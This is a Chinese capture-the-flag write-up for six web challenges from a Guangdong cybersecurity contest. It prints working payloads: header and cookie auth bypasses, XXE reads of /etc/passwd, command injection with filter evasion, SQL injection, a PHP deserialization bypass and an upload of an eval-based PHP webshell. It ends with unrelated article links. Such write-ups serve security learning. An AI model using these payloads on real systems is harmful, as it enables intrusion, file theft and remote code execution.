1. 小明又被拒绝了


直接访问根目录,报403错误

一般是做了ip限制,加上 X-Forwarded-For 头即可绕过

接着又提示不是管理员,仔细看响应头的 Set-Cookie ,有个 admin=0 ,很明显是通过Cookie来判断是否是管理员,直接在请求中加个 Cookie:admin=1 即可绕过,获取flag.

2.XX?

直接访问根目录,发现是个百度页面,看了下源码,没什么异常。

访问下 index.php ,发现有点东西,尝试访问几个常见备份文件后缀,没有特别的发现。仔细看了下,发现标题是 gedit ,猜想是 gedit 的备份文件, 通过 index.php~ 获取备份源码。


源码中通过 php://input 获取 POST 请求中的内容,然后把内容作为 xml 解释, 猜想应该是XXE 漏洞利用。根据参数名构造以下 XML 数据发送到服务器。

<?xml version="1.0"?>
<creds><user>admin</user><pass>pass</pass>
</creds>

发现可以回显用户名。

使用以下 XXE payload 可读取 /etc/passwd 文件

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<creds><user>&xxe;</user></creds>

尝试读取/flag, /etc/flag, 都不存在。然后尝试读取 index.php , 但不知道网站根目录路径

接着也发现根目录有 flag.php 文件

查了一下,发现可以通过 php://filter/ 来读取当前目录下的文件。于是构造以下 XXE payload 即可读取 flag.php

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>]>
<creds><user>&xxe;</user></creds>

3. 免费的,ping 一下~

打开首页,发现可以输入 ip ,然后 ping 该 ip,这种一般会有命令注入

把参数的值设置成 ;ls; 成功列出了当前目录的文件。

尝试列出根目录,发现被拦截了,经过几次尝试,发现命令加一个空格会被拦截。查了下空格绕过,发现可以使用 $IF$$9${IFS} 来代替空格。成功执行 ls 命令。



发现在根目录有 flag 文件,尝试读取,但读取文件的命令如 cat 、head 、tail 等命令被拦截了,同时 flag 关键词也被拦截了。查了下,发现可以通过在命令中间加两个双引号绕过。

使用 c"“at${IFS}/fl”"ag 读取 flag 文件,提示 flag 不在第一行

可以使用tail /flag -n +3 的方式来读取第3行的内容

最后通过 burp 爆破,发现 flag 在第16行。

4. php

访问首页,是 Apache 默认界面。

访问 index.php ,给出了源码, 源码中获取 code 参数的内容, 然后把 code 参数的内容传进 eval 中执行。理论上只要把 code 的值设置成 GetYourFlag() 即可获取 flag, 但在执行之前做了过滤,如果内容是字母,数字,下划线等特殊字符,则拒绝执行。

查了下,发现 p 神的文章里面说到可以通过 (‘phpinfo’)(); 的方式来执行字符串的代码。然后通过特殊字符取反来构造字母,如 ~ 0xb8 的值刚好是字母 G 。通过下面的方式生成 GetYourFlag 取反的十六进制值。

然后在输出的十六进制字符串的每两个字符前加上 % 来构造 URL 编码的特殊字符串,最后的 payload 如下:
http://119.61.19.212:8082/index.php?code=(~%b8%9a%8b%a6%90%8a%8d%b9%93%9e%98)()

5. 找漏洞

下载源码压缩包,然后访问首页

查看首页源码发现 /login 登录页面

没登录账号,查看源码找下思路,发现 UserFactory.php 文件的注释里面有个密码,但不知道账号是什么。

在 web.php 下面发现以下路由, 打开相应的 php 文件查看

发现 UserController.php 中有个 SQL 注入

根据上面的路由构造以下 URL 获取所有用户的账号密码。

http://119.61.19.212:8085/user_testpage/1’%20or%20’a’='a
第二个账号的邮箱提示A Hint=key,后面会有用。通过尝试,可以使用以下账号密码登录admin@ctf.com/secertheretola



登录后尝试访问 HomeController.php 中路由的路径。

http://119.61.19.212:8085/home/uploadto_upload
该地址的源码有个 _token 值,后面又有用。。。

接着发现 uploadss 方法可以上传文件,但前提是 key 值要正确,这个 key 值就是上面第二个用户的用户名。上传的 URL 地址如下:http://119.61.19.212:8085/home/uploadss/NotAllow6171

构造个上传表单进行上传,提示页面过期了

在上传表单中加入上面请求获取的 _token, 最后构造以下上传表单进行上传:

<html>
<body>
<form action="http://119.61.19.212:8085/home/uploadss/NotAllow6171" method="POST" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="hidden" name="_token" value="D1KJGDpS9lSdpqxuyYh1SGolMNYjCz2jdlrmgzTO">
<input type="submit" value="Submit request" />
</form>
</body>
</html>

上传后提示 hack, 应该是过滤了文件的内容

发现内容只要有php关键字即拦截。 回头看下剩下一个没被利用的路由

发现访问 http://119.61.19.212:8085/home/profile 可以访问 show() 方法,该方法会加载 auth.uploads.template 模板, 该模板刚好是位于上传的目录中:

可以猜到是上传文件覆盖该模板来获取 flag, 现在还有一个问题是不能上传 php 代码。

继续翻源码,发现 AppServiceProvider.php 中有一段代码有 file_get_contents() 函数,查了下,是个自定义指令,可以在模板中通过 @filedata 来获取文件的内容。

最后只需把上传文件名设置成 template.blade.php ,内容设置成 @filedata(’/flag’) ,然后访问 /home/profile 即可读取 flag


6. api

api 这题只给了个地址,直接访问,未发现什么,然后访问 /api/ 提示 POST filename 参数。

直接 POST filename 参数提示 json 解析错误

经尝试,可以通过以下方式传递参数:

尝试读取上级目录的 index.php

根目录的 index.php 包含了 hack.php ,然后接收 flag 参数的值来进行反序列化 。这里存在反序列化漏洞。
继续读取 hack.php

hack.php 中的 readfile() 函数会读取 $file 变量中指定的文件。同时在注释中提示了读取 fffffaa_not.php 文件,所以只需要构造以下反序列化对象作为 flag 的值即可读取 fffffaa_not.php 的内容:

O:4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}

但在 index.php 中有对反序列化内容过滤

查了下,可以在O: 后面添加一个加号来绕过,payload如下:
O:+4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}http://119.61.19.212:8086/?flag=O%3a%2b4%3a"hack"%3a1%3a{s%3a4%3a"file"%3bs%3a15%3a"fffffaa_not.php"%3b}

查看 fffffaa_not.php 的代码,发现获取参数 jhh08881111jn 的值作为内容,file_na 的值作为文件名来上传文件到 uploads 目录中。其中做了文件内容检查,不能有 [< 这些符号, 可以通过把参数设置成数组来绕过 jhh08881111jn[], payload 如下
http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234

访问uploads/1234.php,想执行命令,发现 500 错误,然后执行 phpinfo(), 发现禁用了危险函数:

这里可以直接使用 scandir() 函数来列目录,然后通过 file_get_contents() 函数来读取文件。

发现 flag 在 /f1ag_ahajjdhh11qwe 上,通过 file_get_contents() 读取:

本文章也在我的公众号发布、

第三届广东省强网杯网络安全大赛WEB题writeup相关推荐

  1. 广东省第四届“强网杯”网络安全大赛(“泄露的秘密WP”)

    感觉应该就算交了WP也进不了决赛~~ 我直接把WP放这里 "泄露的秘密": 发现存在大量"HTTP"包. 下一步跟踪HTTP流后, 发现存在SQL注入攻击. 使 ...

  2. 第四届红帽杯网络安全大赛 Web 部分writeup

    前言 记录一下web的wp,随手写的,只会前三题,确实都很简单. find_it 扫到robots.txt,发现1ndexx.php,直接访问不了,访问.1ndexx.php.swp得到源码,然后读f ...

  3. 2022第二届网刃杯网络安全大赛-Web

    2022第二届网刃杯网络安全大赛-Web 前言 提示:该内容由夜刃TEOT战队-夜白君师傅原创,禁止抄袭! 一.Web2-upload 难度系数:4.0 题目描述:只有想不到,没有做不到,sql yy ...

  4. [ CTF ]【天格】战队WriteUp- 2022年第三届“网鼎杯”网络安全大赛(青龙组)

    2022年第三届"网鼎杯"网络安全大赛(青龙组)部分题目附件 已解题列表 [Misc]签到 [Crypto]crypto405 [Crypto]crypto091 [Pwn]pwn ...

  5. 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕

    乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...

  6. [ CTF ] WriteUp- 2022年第三届“网鼎杯”网络安全大赛(白虎组)

    2022年第三届"网鼎杯"网络安全大赛(白虎组)部分题目附件 文章目录 [Misc]misc620 [Crypto]crypto582 [Crypto]crypto581 [Mis ...

  7. 首届“天网杯”网络安全大赛启动 | 赛宁网安提供全面技术支撑

    ​​6月25日,由中华人民共和国公安部.天津市人民政府指导,天津市公安局.天津市委网信办.天津市工信局.天津市滨海新区人民政府.公安部第一研究所.国家计算机病毒应急处理中心共同主办,南京赛宁信息技术有 ...

  8. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  9. ctf网络安全大赛web

    CTF竞赛模式分为以下三类: 一.解题模式(Jeopardy)在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛.信息学奥赛比较类似,以解决网络安全技 ...

最新文章

  1. 使用jvisualvm远程监控tomcat(阿里云ECS)
  2. [Vim 使用]vim 自动括号补全配置
  3. Linux常用命令汇总(二)
  4. Linux调试——gdb调试器的简单使用调试coredump文件
  5. python Intel Realsense udp协议 局域网传输实时视频流并通过窗口显示 (opencv压缩解码)
  6. 苹果亚马逊同一天公布无损音质服务、 Google与Flutter、Snap 的 AR 战事等|Decode the Week...
  7. 【JSP/Servlet】getParameter和getAttribute的使用、区别
  8. 数据库系统实训——实验九——函数
  9. 从JVM的角度看JAVA代码--代码优化
  10. 教你打开线程、进程和协程的大门!
  11. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)
  12. 不规则物体形状匹配综述
  13. Mybatis trim 标签的 2 个妙用!
  14. java redis源码分析,慢谈 Redis 实现分布式锁 以及 Redisson 源码解析
  15. DotNetTextBox控件添加外挂插件功能的图文教程。
  16. Selenium之浏览器驱动下载和配置使用
  17. SSM整合——简单的小项目实战
  18. linux硬盘支持fat32,Linux下,挂载windows管理格式的FAT32/NTFS 硬盘
  19. 在线密码破解medusa
  20. H.264官方软件JM源代码简单分析-解码器ldecod(转载)

热门文章

  1. linux curl 命令模拟 http get post 请求
  2. 提高使用比特币的匿名性
  3. python3 __import__ 简介
  4. centos7 更新firefox版本
  5. 穿透Socks5 代理的UDP编程
  6. 多字节 unicode和utf-8的转换
  7. Rose Study
  8. 谈谈Linux打补丁的原理以及如何判别打补丁的错误 --- 从补丁学内核
  9. 微软资深软件工程师:阅读代码真的很难
  10. 优贝共享数据交易所网_2020.9.9号币圈简报:水天共享数据迁移,链淘公告明天开始减产...